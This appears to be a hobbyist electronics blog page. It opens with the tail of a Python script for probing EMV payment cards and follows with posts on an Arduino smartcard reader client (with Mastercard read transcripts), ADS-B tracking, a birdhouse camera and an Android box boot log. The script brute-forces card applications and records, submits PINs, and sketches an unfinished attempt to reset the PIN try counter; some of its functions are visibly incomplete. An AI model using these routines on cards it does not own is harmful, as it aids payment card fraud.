		return send_apdu(apdu)
	if sw1 == SW1_RESPONSE_BYTES:
		# response bytes available.
		apdu = GET_RESPONSE + [sw2]
		#response, sw1, sw2 = cardservice.connection.transmit( apdu, Protocol )
		response, sw1, sw2 = xmit(apdu)
	return response, sw1, sw2

def select_aid(aid):
	# select an AID and return True/False plus additional data
	apdu = SELECT + [len(aid)] + aid + [0x00]
	response, sw1, sw2= send_apdu(apdu)
	if check_return(sw1,sw2):
		if Verbose:
			decode_pse(response)
		return True, response, sw1, sw2
	else:
		return False, [], sw1,sw2

def bruteforce_aids(aid):
	#brute force two digits of AID
	print 'Bruteforcing AIDs'
	y= z= 0
	if BruteforceEMV:
		brute_range= [0xa0]
	else:
		brute_range= range(256)
	for x in brute_range:
		for y in range(256):
			for z in range(256):
				#aidb= aid + [x]
				aidb= [x,y,0x00,0x00,z]
				if Verbose:
					print '\r  %02x %02x %02x %02x %02x' % (x,y,0x00,0x00,z),
				status, response, sw1, sw2= select_aid(aidb)
				if [sw1,sw2] != SW12_NOT_FOUND:
					print '\r  Found AID:',
					hexprint(aidb)
					if status:
						decode_pse(response)
					else:
						print 'SW1 SW2: %02x %02x' % (sw1,sw2)

def read_record(sfi,record):
	# read a specific record from a file
	p1= record
	p2= (sfi << 3) + 4
	le= 0x00
	apdu= READ_RECORD + [p1,p2,le]
	response, sw1, sw2= send_apdu(apdu)
	if check_return(sw1,sw2):
		return True, response
	else:
		return False, ''

def bruteforce_files():
	# now try and brute force records
	print '  Checking for files:'
	for y in range(1,31):
		for x in range(1,256):
			ret, response= read_record(y,x)
			if ret:
				print "  Record %02x, File %02x: length %d" % (x,y,len(response))
				if Verbose:
					hexprint(response)
					textprint(response)
				decode_pse(response)

def get_processing_options():
	apdu= GET_PROCESSING_OPTIONS
	response, sw1, sw2= send_apdu(apdu)
	if check_return(sw1,sw2):
		return True, response
	else:
		return False, "%02x%02x" % (sw1,sw2)

def decode_processing_options(data):
	# extract and decode AIP (Application Interchange Profile)
	# and AFL (Application File Locator)
	if data[0] == 0x80:
		# data is in response format 1
		# first two bytes after length byte are AIP
		decode_aip(data[2:])
		# remaining data is AFL
		x= 4
		while x < len(data):
			sfi, start, end, offline= decode_afl(data[x:x+4])
			print ('    SFI %02X: starting record %02X, ending record %02X;'
			  ' %02X offline data authentication records' % (sfi,start,end,offline))
			x += 4
			decode_file(sfi,start,end)
	if data[0] == 0x77:
		# data is in response format 2 (BER-TLV)
		x= 2
		while x < len(data):
			tag, fieldlen, value= decode_ber_tlv_item(data[x:])
			print '-- Value: ', hexprint(value)
			if tag == BER_TLV_AIP:
				decode_aip(value)
			if tag == BER_TLV_AFL:
				sfi, start, end, offline= decode_afl(value)
				print ('    SFI %02X: starting record %02X, ending record %02X;'
				  ' %02X offline data authentication records' % (sfi,start,end,offline))
				decode_file(sfi,start,end)
			x += fieldlen

def decode_file(sfi,start,end):
	for y in range(start,end + 1):
		ret, response= read_record(sfi,y)
		if ret:
			if OutputFiles:
				file= open('%s-FILE%02XRECORD%02X.HEX' % (CurrentAID,sfi,y),'w')
				for n in range(len(response)):
					file.write('%02X' % response[n])
				file.flush()
				file.close()
			print '      record %02X: ' % y,
			decode_pse(response)
		else:
			print 'Read error!'


def decode_aip(data):
	# byte 1 of AIP is bit masked, byte 2 is RFU
	for x in AIP_MASK.keys():
		if data[0] & x:
			print '    ' + AIP_MASK[x]

def decode_afl(data):
	print '-- deccode_afl data: ', hexprint(data)
	sfi= int(data[0] >> 3)
	start= int(data[1])
	end= int(data[2])
	offline= int(data[3])
	return sfi, start, end, offline

def decode_ber_tlv_field(data):
	x= 0
	while x < len(data):
		tag, fieldlen, value= decode_ber_tlv_item(data[x:])
		print 'Tag %04X: ' % tag,
		hexprint(value)
		x += fieldlen

def decode_ber_tlv_item(data):
	# return tag, total length of data processed and value for BER-TLV object
	tag= data[0] & TLV_TAG_NUMBER_MASK
	i= 1
	if tag == TLV_TAG_NUMBER_MASK:
		tag= ''
		while data[i] & TLV_TAG_MASK:
			# another tag byte follows
			tag.append(xor(data[i],TLV_TAG_MASK))
			i += 1
		tag.append(data[i])
		i += 1
	if data[i] & TLV_LENGTH_MASK:
		# this byte tells us the number of subsequent bytes that describe the length
		lenlen= xor(data[i],TLV_LENGTH_MASK)
		i += 1
		length= int(data[i])
		z= 1
		while z < lenlen:
			i += 1
			z += 1
			length= length << 8
			length += int(data[i]) 
		i += 1
	else:
		length= int(data[i])
		i += 1
	return tag, i + length, data[i:i+length]

def get_challenge(bytes):
	lc= bytes
	le= 0x00
	apdu= GET_CHALLENGE + [lc,le]
	response, sw1, sw2= send_apdu(apdu)
	if check_return(sw1,sw2):
		print 'Random number: ',
		hexprint(response)
	#print 'GET CHAL: %02x%02x %d' % (sw1,sw2,len(response))

def verify_pin(pin):
	# construct offline PIN block and verify (plaintext)
	print 'Verifying PIN:',pin
	control= 0x02
	pinlen= len(pin)
	block= []
	block.append((control << 4) + pinlen)
	x= 0
	while x < len(pin):
		leftnibble= int(pin[x])
		try:
			rightnibble= int(pin[x + 1])	
		except:
			# pad to even length
			rightnibble= 0x0f
		block.append((leftnibble << 4) + rightnibble)
		x += 2
	while(len(block) < 8):
		block.append(0xff)
	lc= len(block)
	apdu= VERIFY + [lc] + block
	response, sw1, sw2= send_apdu(apdu)
	if check_return(sw1,sw2):
		print 'PIN verified'
		return True
	else:
		if [sw1,sw2] == PIN_BLOCKED or [sw1,sw2] == PIN_BLOCKED2:
			print 'PIN blocked!'
		else:
			if sw1 == PIN_WRONG:
				print 'wrong PIN - %d tries left' % (int(sw2) & 0x0f)
			if [sw1,sw2] == SW12_NOT_SUPORTED:
				print 'Function not supported'
			else:
				print 'command failed!', 
				hexprint([sw1,sw2])
	return False

def update_pin_try_counter(tries):
	# try to set Pin Try Counter by sending Card Status Update
	if tries > 0x0f:
		return False, 'PTC max value exceeded'
	csu= []
	csu.append(tries)
	csu.append(0x10)
	csu.append(0x00)
	csu.append(0x00)
	tag= 0x91 # Issuer Authentication Data
	lc= len(csu) + 1

def generate_ac(type):
	# generate an application Cryptogram
	if type == TC:
		# populate data with CDOL1
		print 
	apdu= GENERATE_AC + [lc,type] + data + [le]
	le= 0x00
	response, sw1, sw2= send_apdu(apdu)
	if check_return(sw1,sw2):
		print 'AC generated!'
		return True
	else:
		hexprint([sw1,sw2])
	

# main loop
aidlist= KNOWN_AIDS

try:
	# 'args' will be set to remaining arguments (if any)
	opts, args  = getopt.getopt(sys.argv[1:],'aAdefoprvs:')
	for o, a in opts:
		if o == '-a':
			BruteforceAID= True
		if o == '-A':
			print
			for x in range(len(aidlist)):
				print '% 20s: ' % aidlist[x][0],
				hexprint(aidlist[x][1:])
			print
			sys.exit(False)	
		if o == '-d':
			Debug= True
		if o == '-e':
			BruteforceAID= True
			BruteforceEMV= True
		if o == '-f':
			BruteforceFiles= True
		if o == '-o':
			OutputFiles= True
		if o == '-p':
			BruteforcePrimitives= True
		if o == '-r':
			RawOutput= True
		if o == '-v':
			Verbose= True
		if o == '-s':
		  portname = a

except getopt.GetoptError:
	# -h will cause an exception as it doesn't exist!
	printhelp()
	sys.exit(True)

PIN= ''
if args:
	if not args[0].isdigit():
		print 'Invalid PIN', args[0]
		sys.exit(True)
	else:
		PIN= args[0]

try:
	xmit()

	#get_challenge(0)

	# try to select PSE
	apdu = SELECT + [len(DF_PSE)] + DF_PSE
	response, sw1, sw2 = send_apdu( apdu )

	if check_return(sw1,sw2):
		# there is a PSE
		print 'PSE found!'
		decode_pse(response)
		if BruteforcePrimitives:
			# brute force primitives
			print 'Brute forcing primitives'
			bruteforce_primitives()
		if BruteforceFiles:
			print 'Brute forcing files'
			bruteforce_files()
		status, length, psd= get_tag(response,SFI)
		if not status:
			print 'No PSD found!'
		else:
			print '  Checking for records:',
			if BruteforcePrimitives:
				psd= range(31)
				print '(bruteforce all files)'
			else:
				print
#			for x in range(256):
			for x in range(10):
				for y in psd:
					p1= x
					p2= (y << 3) + 4
					le= 0x00
					apdu= READ_RECORD + [p1] + [p2,le]
					response, sw1, sw2 = xmit( apdu )
					if sw1 == 0x6c:
						print "  Record %02x, File %02x: length %d" % (x,y,sw2)
						le= sw2
						apdu= READ_RECORD + [p1] + [p2,le]
						response, sw1, sw2 = xmit( apdu )
						print "  ",
						aid= ''
						if Verbose:
							hexprint(response)
							textprint(response)
						i= 0
						while i < len(response):
							# extract the AID
							if response[i] == 0x4f and aid == '':
								aidlen= response[i + 1]
								aid= response[i + 2:i + 2 + aidlen]
							i += 1
						print '   AID found:',
						hexprint(aid)
						aidlist.append(['PSD Entry']+aid)
	if BruteforceAID:
		bruteforce_aids(BRUTE_AID)
	if aidlist:
		# now try dumping the AID records
		current= 0
		while current < len(aidlist):
			if Verbose:
				print 'Trying AID: %s -' % aidlist[current][0],
				hexprint(aidlist[current][1:])
			selected, response, sw1, sw2= select_aid(aidlist[current][1:])
			if selected:
				CurrentAID= ''
				for n in range(len(aidlist[current][1:])):
					CurrentAID += '%02X' % aidlist[current][1:][n]
				if Verbose:
					print '  Selected: ',
					hexprint(response)
					textprint(response)
				else:
					print '  Found AID: %s -' % aidlist[current][0],
					hexprint(aidlist[current][1:])
				decode_pse(response)
				if BruteforcePrimitives:
					# brute force primitives
					print 'Brute forcing primitives'
					bruteforce_primitives()
				if BruteforceFiles:
					print 'Brute forcing files'
					bruteforce_files()
				ret, response= get_processing_options()
				if ret:
					print '  Processing Options:',
					decode_pse(response)						
					decode_processing_options(response)
				else:
					print '  Could not get processing options:', response, ERRORS[response]
				ret, length, pins= get_primitive(PIN_TRY_COUNTER)
				if ret:
					ptc= int(pins[0])
					print '  PIN tries left:', ptc
					#if ptc == 0:
					#	print 'unblocking PIN'
					#	update_pin_try_counter(3)
					#	ret, sw1, sw2= send_apdu(UNBLOCK_PIN)
					#	hexprint([sw1,sw2])
				if PIN:
					if verify_pin(PIN):
						sys.exit(False)
					else:
						sys.exit(True)
				ret, length, atc= get_primitive(ATC)
				if ret:
					atcval= (atc[0] << 8) + atc[1]
					print '  Application Transaction Counter:', atcval
				ret, length, latc= get_primitive(LAST_ATC)
				if ret:
					latcval= (latc[0] << 8) + latc[1]
					print '  Last ATC:', latcval
				ret, length, logf= get_primitive(LOG_FORMAT)
				if ret:
					print 'Log Format: ',
					hexprint(logf)
				current += 1
			else:
				if Verbose:
					print '  Not found: %02x %02x' % (sw1,sw2)
				current += 1
	else:
		print 'no PSE: %02x %02x' % (sw1,sw2)

except Exception:
  import traceback
  traceback.print_exc(file=sys.stdout)
  
arduino|iso7816|
simple python client for mako's arduino iso7816 interface 10 Aug 2013

Some hacked together client code for exploring smartcards using Mako's iso7816 arduino interface. It provides a pretty thin layer on top of Mako's sketch to allow you to specify an arbitrary byte stream and get a dump of the response back:

lee@markov:~/sketchbook/iso7816$ ./client.py /dev/ttyUSB0 00B2010C1c
===COMMAND===
00000000:  00 b2 01 0c 1c                                    |.....|

SW1: 90  SW2: 00
===RESPONSE===
00000000:  b2 70 1a 61 18 4f 07 a0  00 00 00 04 10 10 50 0a  |.p.a.O........P.|
00000010:  4d 41 53 54 45 52 43 41  52 44 87 01 01           |MASTERCARD...|

OK
  

There's a little logic to handle a 61 'more data available' response, to detect success or failure and to pull out the SW1/SW2 status bytes - apart from that the data is raw. The plan is to expand the protocol parsing as required.

Usage is straight forward; the first arg is the serial device, the second arg is the command as a hex string. The second arg can optionally be an 'R' - this performs the ATR reset process. Example usage:

Reset the card

lee@markov:~/sketchbook/iso7816$ ./client.py /dev/ttyUSB0 R
===COMMAND===
RESET

SW1: 90  SW2: 00
===RESPONSE===
00000000:  3b 6e 00 00 00 31 c0 71  d6 65 7d e4 01 11 a0 83  |;n...1.q.e}.....|

OK
  

Select the PSE directory

lee@markov:~/sketchbook/iso7816$ ./client.py /dev/ttyUSB0 00A404000E315041592E5359532E4444463031
===COMMAND===
00000000:  00 a4 04 00 0e 31 50 41  59 2e 53 59 53 2e 44 44  |.....1PAY.SYS.DD|
00000010:  46 30 31                                          |F01|

SW1: 61  SW2: 26
SW1: 90  SW2: 00
===RESPONSE===
00000000:  c0 6f 24 84 0e 31 50 41  59 2e 53 59 53 2e 44 44  |.o$..1PAY.SYS.DD|
00000010:  46 30 31 a5 12 88 01 01  bf 0c 0c c5 0a ff ff 3f  |F01............?|
00000020:  00 00 00 03 ff ff 03                              |.......|

OK
  

Get the PSE record (two commands as it doesn't yet handle the 6C 'more data available')

lee@markov:~/sketchbook/iso7816$ ./client.py /dev/ttyUSB0 00B2010C00
===COMMAND===
00000000:  00 b2 01 0c 00                                    |.....|

SW1: 6c  SW2: 1c
===ERROR===

lee@markov:~/sketchbook/iso7816$ ./client.py /dev/ttyUSB0 00B2010C1c
===COMMAND===
00000000:  00 b2 01 0c 1c                                    |.....|

SW1: 90  SW2: 00
===RESPONSE===
00000000:  b2 70 1a 61 18 4f 07 a0  00 00 00 04 10 10 50 0a  |.p.a.O........P.|
00000010:  4d 41 53 54 45 52 43 41  52 44 87 01 01           |MASTERCARD...|

OK  
  

Select the application

lee@markov:~/sketchbook/iso7816$ ./client.py /dev/ttyUSB0 00A4040007A0000000041010
===COMMAND===
00000000:  00 a4 04 00 07 a0 00 00  00 04 10 10              |............|

SW1: 61  SW2: 2b
SW1: 90  SW2: 00
===RESPONSE===
00000000:  c0 6f 29 84 07 a0 00 00  00 04 10 10 a5 1e 50 0a  |.o)...........P.|
00000010:  4d 41 53 54 45 52 43 41  52 44 87 01 01 bf 0c 0c  |MASTERCARD......|
00000020:  c5 0a 02 01 7f 00 47 00  02 ff ff 02              |......G.....|

OK
  

Read the AFL

lee@markov:~/sketchbook/iso7816$ ./client.py /dev/ttyUSB0 80A80000028300
===COMMAND===
00000000:  80 a8 00 00 02 83 00                              |.......|

SW1: 61  SW2: 0c
SW1: 90  SW2: 00
===RESPONSE===
00000000:  c0 77 0a 82 02 58 00 94  04 08 01 06 01           |.w...X.......|

OK
  

Pin mapping:

Code:

#!/usr/bin/python
"""
lee@markov:~/sketchbook/iso7816$ ./client.py /dev/ttyUSB0 R
lee@markov:~/sketchbook/iso7816$ ./client.py /dev/ttyUSB0 00A4040007A0000000041010
"""

import sys
from time import sleep


def chunks(l, n):
  return [l[i:i+n] for i in range(0, len(l), n)]

#https://gist.github.com/7h3rAm/5603718
def hexdump(src, length=16, sep='.'):
	FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or sep for x in range(256)])
	lines = []
	for c in xrange(0, len(src), length):
		chars = src[c:c+length]
		hex = ' '.join(["%02x" % ord(x) for x in chars])
		if len(hex) > 24:
			hex = "%s %s" % (hex[:24], hex[24:])
		printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or sep) for x in chars])
		lines.append("%08x:  %-*s  |%s|\n" % (c, length*3, hex, printable))
	print ''.join(lines)

#################################################

command = ''
dumpcommand = ''

if len(sys.argv) != 3:
  print "help"
  quit()
else:
  portname = sys.argv[1]
  rawcommand = sys.argv[2]

  print "===COMMAND==="
  if rawcommand == 'R': #RESET
    print "RESET"
    print
    command = rawcommand
  else:
    for i in chunks(rawcommand, 2): #parse each two chars into chunks
      command = command +'.'+ chr(int(i, 16)) #then convert them to bytes and put the '.' in
      dumpcommand = dumpcommand + chr(int(i, 16))
    hexdump(dumpcommand)

#portname = "/dev/ttyUSB0"
#RESET = 'R'
#PROVIDER = '.\x00.\xA4.\x04.\x00.\x07.\xA0.\x00.\x00.\x00.\x04.\x10.\x10' #00A4040007A0000000041010
#command = RESET
#command = PROVIDER

e = 0
reading = False
SW1 = 0
SW2 = 0
line = []
    
with open(portname,"r+") as f:
  while f:
    b = f.read(1)
    if e > 64:
      e = 0
      print "SW1:","%02x" % ord(SW1)," SW2:","%02x" % ord(SW2)
      if SW1 == "\x90" and SW2 == "\x00":
        print "===RESPONSE==="
        hexdump(line[:-2])        
        print "OK"
        f.close()
        f = None

      elif SW1 == "\x61":
        #print "next","SW1:","%02x" % ord(SW1)," SW2:","%02x" % ord(SW2)
        f.write('.\x00.\xC0.\x00.\x00.')
        f.write(SW2)
        SW1 = "\x00"
      else:
        #uh oh
        print "===ERROR==="
        hexdump(line[:-2])
        f.close()
        f = None

      line = []

    if b:
      
      if b == 'A': #ack
        #print "ack"
        pass        
      elif b == '.':

        b = f.read(1)
        while not b:
          b = f.read(1)
        
        line.append(b)  
        #print "b:","%02x" % ord(b)
        SW1 = SW2
        SW2 = b
       
    else:
      e = e + 1
      sleep(0.01)
      
      if not reading:
        reading = True
        f.write(command)
  
arduino|iso7816|
adb-s on the shed 28 Jul 2013

I've mounted the antenna for the adb-s captue on to the outside of the shed, as high as I could easily mount it. I wasn't expecting any thing dramatic but the range how now increased enormously: from Liverpool to south of London and from Hull to Gloucester!

Just a piece of metal bent into an 'L' shape and screwed to the shed; the antenna itself has a magnetic base. Live updates can be found here.

adb-s|
first birdhouse visitor 27 Jul 2013

We finally had our first visitor to the birdhouse :)

Believed to be a great tit - video clips can be found here. Live images can be found here.

birdcam|
local ads-b tracking 21 Jul 2013

While I'm waiting to make this data available for wider use, here's the real time data from the local ADS-B plane transponder transmissions (click here to break out of the iframe):

(Nothing clever, it's just dump1090's built in webserver via mod_proxy to the outside world. Hardware is just a cheap RTL2832U based digital TV usb stick.)

adb-s|
another a10 uart 20 Jul 2013

My cheap android set top box finally stopped booting - it's already had a couple of episodes where it's needed factory defaulting but this time it was just getting stuck on the first boot screen. The accessible system information - from when it used to boot - had already confirmed my suspicion that it was another A10 device and so I thought it was time to crack it open and see if I could find the uarts again.

I was expecting to have to probe out a bunch of anonymous pads again but instead the pins were clearly marked:

Above you can easily see the rx, tx pads, along with 3.3v and what I'm guessing is a bunch of SPI (MS, CK, DI, DO, DO1 DO2) pins. Although I didn't have to spend any time looking for the uart, due to their tiny size they were difficult to solder - I managed to lift both the pads from the board and ended up having to solder the wires (which are far too heavy at this scale) to the edge of the resistors that are on the lines - next time I do this I'm using an air station. The tx and rx were hooked up to an FTDI board via a couple of level shifters. Here's the output from the initial boot:

HELLO! BOOT0 is starting!
boot0 version : 1.5.0
dram size =1024
Succeed in opening nand flash.
Succeed in reading Boot1 file head.
The size of Boot1 is 0x00074000.
The file stored in 0X00000000 of block 2 is perfect.
Check is correct.
Ready to disable icache.
Succeed in loading Boot1.
Jump to Boot1.
[       0.212] boot1 version : 1.6.0
[       0.212] pmu type = 3
[       0.213] bat vol = 0
[       0.217] set dcdc2 failed, set default clock 384M
[       0.219] script installed early
[       0.222] script_main_key_count=81
[       0.226] key
[       0.239] no key found
[       0.239] flash init start
[       0.239] NB1 : enter NFB_Init
[       0.242] NB1 : enter phy init
[       0.245] [NAND] nand driver version: 0x0x00000002, 0x0x00000011, data: 0x20120926
[       0.253] [NAND] nand driver: secure debug v1.2.9, 20121103, 13:09 
[       0.259] NAND_RequestDMA  ok
[       0.262] NFC Randomizer start. 
[       0.266] [SCAN_DBG] Nand flash chip id is:0x0x0000002c 0x0x00000068 0x0x00000004 0x0x426ffdfc 0x0x42428638 0x0x424529d0
[       0.277] Nand Unique ID of chip 0 is : 
[       0.281] 0x000000ea, 0x000000bc, 0x0000004e, 0x426ffd84
[       0.287] 0x00000010, 0x000000f8, 0x00000020, 0x426ffd84
[       0.292] 0x000000ff, 0x00000000, 0x000000ff, 0x426ffd84
[       0.298] 0x000000ff, 0x00000000, 0x000000ff, 0x426ffd84
[       0.303] 
[       0.305] 0x00000015, 0x00000043, 0x000000b1, 0x426ffd84
[       0.310] 0x000000ef, 0x00000007, 0x000000df, 0x426ffd84
[       0.316] 0x00000000, 0x000000ff, 0x00000000, 0x426ffd84
[       0.321] 0x00000000, 0x000000ff, 0x00000000, 0x426ffd84
[       0.327] 
[       0.329] 

[       0.330] [SCAN_DBG] ==============Nand Architecture Parameter==============
[       0.338] [SCAN_DBG]    Nand Chip ID:         0x0x4a04682c 0x0xffffffff
[       0.345] [SCAN_DBG]    Nand Chip Count:      0x0x00000001
[       0.350] [SCAN_DBG]    Nand Chip Connect:    0x0x00000001
[       0.356] [SCAN_DBG]    Nand Rb Connect Mode:      0x0x00000001
[       0.362] [SCAN_DBG]    Sector Count Of Page: 0x0x00000008
[       0.368] [SCAN_DBG]    Page Count Of Block:  0x0x00000100
[       0.374] [SCAN_DBG]    Block Count Of Die:   0x0x00001000
[       0.379] [SCAN_DBG]    Plane Count Of Die:   0x0x00000002
[       0.385] [SCAN_DBG]    Die Count Of Chip:    0x0x00000001
[       0.391] [SCAN_DBG]    Bank Count Of Chip:   0x0x00000001
[       0.396] [SCAN_DBG]    Optional Operation:   0x0x00001208
[       0.402] [SCAN_DBG]    Access Frequence:     0x0x00000028
[       0.408] [SCAN_DBG]    ECC Mode:             0x0x00000002
[       0.414] [SCAN_DBG]    Read Retry Type:      0x0x00000000
[       0.419] [SCAN_DBG]    DDR Type:             0x0x00000000
[       0.425] [SCAN_DBG] =======================================================

[       0.433] [SCAN_DBG] ==============Optional Operaion Parameter==============
[       0.440] [SCAN_DBG]    MultiPlaneReadCmd:      0x0x00000000, 0x0x00000030
[       0.447] [SCAN_DBG]    MultiPlaneWriteCmd:     0x0x00000011, 0x0x00000080
[       0.454] [SCAN_DBG]    MultiPlaneCopyReadCmd:  0x0x00000000, 0x0x00000000, 0x0x00000035
[       0.462] [SCAN_DBG]    MultiPlaneCopyWriteCmd: 0x0x00000085, 0x0x00000011, 0x0x00000080
[       0.471] [SCAN_DBG]    MultiPlaneStatusCmd:    0x0x00000070
[       0.477] [SCAN_DBG]    InterBnk0StatusCmd:     0x0x00000078
[       0.482] [SCAN_DBG]    InterBnk1StatusCmd:     0x0x00000078
[       0.488] [SCAN_DBG]    BadBlockFlagPosition:   0x0x00000001
[       0.494] [SCAN_DBG]    MultiPlaneBlockOffset:  0x0x00000001
[       0.500] [SCAN_DBG] =======================================================
[       0.507] NB1 : nand phy init ok
[       0.511] Request memory for lsb page table 
[       0.515] page type: 0x00000000
[       0.519] Init lsb page table ok
[       1.728] _RepairLogBlkTbl start
[       1.728] [DUBG], check free block 0x000007fe ok!
[       1.870] Log Block Index 0x00000000, LogicBlockNum: 0x000001e1, LogBlockType: 0x00000001
[       1.872] log0: 0x00000702, Log1: 0x000007fe, WriteIndex: 0x00000000
[       1.879] datablock: 0x0000068e, lastusedpage: 0x0000000e
[       1.885] [DUBG], check free block 0x000007fa ok!
[       2.029] Log Block Index 0x00000001, LogicBlockNum: 0x000001e3, LogBlockType: 0x00000001
[       2.032] log0: 0x0000070c, Log1: 0x000007fa, WriteIndex: 0x00000000
[       2.039] datablock: 0x000005f9, lastusedpage: 0x00000007
[       2.184] Log Block Index 0x00000002, LogicBlockNum: 0x000001e0, LogBlockType: 0x00000001
[       2.187] log0: 0x0000071c, Log1: 0x000007f8, WriteIndex: 0x00000001
[       2.194] datablock: 0x0000065b, lastusedpage: 0x0000000a
[       2.200] [DUBG], check free block 0x000007f7 ok!
[       2.324] Log Block Index 0x00000003, LogicBlockNum: 0x000000c8, LogBlockType: 0x00000001
[       2.327] log0: 0x00000785, Log1: 0x000007f7, WriteIndex: 0x00000000
[       2.333] datablock: 0x000005e2, lastusedpage: 0x000000fb
[       2.339] _RepairLogBlkTbl end
[       2.350] The 0 disk name = bootloader, class name = DISK, disk size = 0x426ffe9c
[       2.352] The 1 disk name = env, class name = DISK, disk size = 0x426ffe9c
[       2.359] The 2 disk name = boot, class name = DISK, disk size = 0x426ffe9c
[       2.366] The 3 disk name = system, class name = DISK, disk size = 0x426ffe9c
[       2.374] The 4 disk name = data, class name = DISK, disk size = 0x426ffe9c
[       2.381] The 5 disk name = misc, class name = DISK, disk size = 0x426ffe9c
[       2.388] The 6 disk name = recovery, class name = DISK, disk size = 0x426ffe9c
[       2.396] The 7 disk name = cache, class name = DISK, disk size = 0x426ffe9c
[       2.403] The 8 disk name = private, class name = DISK, disk size = 0x426ffe9c
[       2.410] The 9 disk name = sysrecovery, class name = DISK, disk size = 0x426ffe9c
[       2.418] The 10 disk name = UDISK, class name = DISK, disk size = 0x426ffe9c
[       2.426] Part 0: part_type: 0x0x00000000
[       2.430]    startblock: 0x0x00000008, endblock 0x0x00000010
[       2.436] Part 1: part_type: 0x0x00000000
[       2.440]    startblock: 0x0x00000010, endblock 0x0x00000018
[       2.446] Part 2: part_type: 0x0x00000000
[       2.450]    startblock: 0x0x00000018, endblock 0x0x00000028
[       2.456] Part 3: part_type: 0x0x00000001
[       2.460]    startblock: 0x0x00000028, endblock 0x0x000000c8
[       2.466] Part 4: part_type: 0x0x00000001
[       2.470]    startblock: 0x0x000000c8, endblock 0x0x000001c8
[       2.476] Part 5: part_type: 0x0x00000000
[       2.480]    startblock: 0x0x000001c8, endblock 0x0x000001d0
[       2.486] Part 6: part_type: 0x0x00000000
[       2.491]    startblock: 0x0x000001d0, endblock 0x0x000001e0
[       2.496] Part 7: part_type: 0x0x00000001
[       2.501]    startblock: 0x0x000001e0, endblock 0x0x00000220
[       2.507] Part 8: part_type: 0x0x00000000
[       2.511]    startblock: 0x0x00000220, endblock 0x0x00000228
[       2.517] Part 9: part_type: 0x0x00000000
[       2.521]    startblock: 0x0x00000228, endblock 0x0x000002c8
[       2.527] Part 10: part_type: 0x0x00000000
[       2.531]    startblock: 0x0x000002c8, endblock 0x0x00000760
[       2.537] NB1 : init ok
[       2.540] flash init finish
[       2.543] fs init ok
[       2.546] fattype FAT16
[       2.548] fs mount ok
[       2.550] script finish
[       2.553] boot power:unable to find dcdc4 set
[       2.558] power finish
[       2.574] BootMain start
[       2.574] 0
[       2.585] key value = 0
[       2.585] recovery key high 6, low 4
[       2.586] unable to find fastboot_key key_max value
[       2.592] test for multi os boot with display
[       2.596] show pic finish
[       2.598] load kernel start
[       2.620] load kernel successed
[       2.620] start address = 0x4a000000

U-Boot 2011.09-rc1 (Nov 29 2012 - 20:36:02) Allwinner Technology 

CPU:   SUNXI Family
Board: A10-EVB
DRAM:  512 MiB
NAND:  3776 MiB
In:    serial
Out:   serial
Err:   serial
--------fastboot partitions--------
-total partitions:11-
-name-        -start-       -size-      
bootloader  : 1000000       1000000     
env         : 2000000       1000000     
boot        : 3000000       2000000     
system      : 5000000       14000000    
data        : 19000000      20000000    
misc        : 39000000      1000000     
recovery    : 3a000000      2000000     
cache       : 3c000000      8000000     
private     : 44000000      1000000     
sysrecovery : 45000000      14000000    
UDISK       : 59000000      93000000    
-----------------------------------
Hit any key to stop autoboot:  0 

NAND read: device 0 offset 0x3000000, size 0x2000000
 33554432 bytes read: OK

Starting kernel ...

[    0.187728] cryptomgr_test used greatest stack depth: 6672 bytes left
[    0.188142] cryptomgr_test used greatest stack depth: 6480 bytes left
[    0.190336] cryptomgr_test used greatest stack depth: 6120 bytes left
[    0.218189] sw_ahci sw_ahci.0: AHCI is disable
[    0.222748] sw_ahci: probe of sw_ahci.0 failed with error -22
[    0.521586] [LCD] lcd_module_init
[    0.588835] regulator_init_complete: axp20_buck3: incomplete constraints, leaving on
[    0.596873] regulator_init_complete: axp20_buck2: incomplete constraints, leaving on
[    0.604897] regulator_init_complete: axp20_ldo4: incomplete constraints, leaving on
[    0.612833] regulator_init_complete: axp20_ldo3: incomplete constraints, leaving on
[    0.620756] regulator_init_complete: axp20_ldo2: incomplete constraints, leaving on
[    0.628659] regulator_init_complete: axp20_ldo1: incomplete constraints, leaving on
[    0.639321] init: could not import file init.sun4i.usb.rc
[    0.696874] init: to sleep 1 seconds.
[    1.700802] init: has waken up.
[    1.703984] init: [william] hdmistatus = 0!
[    1.708171] init: [william] tvstatus = 0!
[    1.712590] init: width = 1280
[    1.715658] init: height = 720
[    1.718723] init: s.st_size = 3686400
[    2.043504] EXT4-fs (nandd): VFS: Can't find ext4 filesystem
[    2.061565] init: do_umount: /data 
[    2.198835] init: do_umount: /cache 
[    2.212841] init: dont need format /dev/block/nandk
[    2.218923] init: dont need format /dev/block/nandi
[    2.229917] init (1): /proc/1/oom_adj is deprecated, please use /proc/1/oom_score_adj instead.
[    2.240448] init: cannot find '/system/bin/sh', disabling 'console'
[    2.246726] init: cannot find '/system/bin/servicemanager', disabling 'servicemanager'
[    2.254700] init: cannot find '/system/bin/vold', disabling 'vold'
[    2.260944] init: cannot find '/system/bin/netd', disabling 'netd'
[    2.267136] init: cannot find '/system/bin/debuggerd', disabling 'debuggerd'
[    2.274223] init: cannot find '/system/bin/surfaceflinger', disabling 'surfaceflinger'
[    2.282183] init: cannot find '/system/bin/app_process', disabling 'zygote'
[    2.289162] init: cannot find '/system/bin/drmserver', disabling 'drm'
[    2.295728] init: cannot find '/system/bin/mediaserver', disabling 'media'
[    2.302645] init: cannot find '/system/bin/sambaserver', disabling 'netshare'
[    2.309786] init: cannot find '/system/bin/dbus-daemon', disabling 'dbus'
[    2.316633] init: cannot find '/system/bin/installd', disabling 'installd'
[    2.323552] init: cannot find '/system/etc/install-recovery.sh', disabling 'flash_recovery'
[    2.331946] init: cannot find '/system/bin/keystore', disabling 'keystore'
[    2.338838] init: cannot find '/system/bin/u3gmonitor', disabling 'u3gmonitor'
[    2.346106] init: cannot find '/system/bin/rild', disabling 'ril-daemon'
[    2.352850] init: cannot find '/system/bin/securefileserver', disabling 'securefile'
[    2.360629] init: cannot find '/system/bin/isomountmanagerservice', disabling 'isomountmanager'
[    2.480392] init: cannot find '/system/bin/sh', disabling 'console'
  

The boot sequence on this device is slightly different in that the A10's boot loader jumps to uboot and then uboot boots to the kernel, rather than A10 straight to kernel. Apart from some version number differences the A10 boot loader appears to be the same as before - at least it appears to have all the same modes (FEL, key test etc).

The kernel output at the end of the boot indicates that some sort of file system corruption has taken place, which right now I'm attributing to over heating. The A10 feels hotter than I would like and there is very limited air flow through the casing, so I'm planning on installing a heatsink and to maybe modify the case.

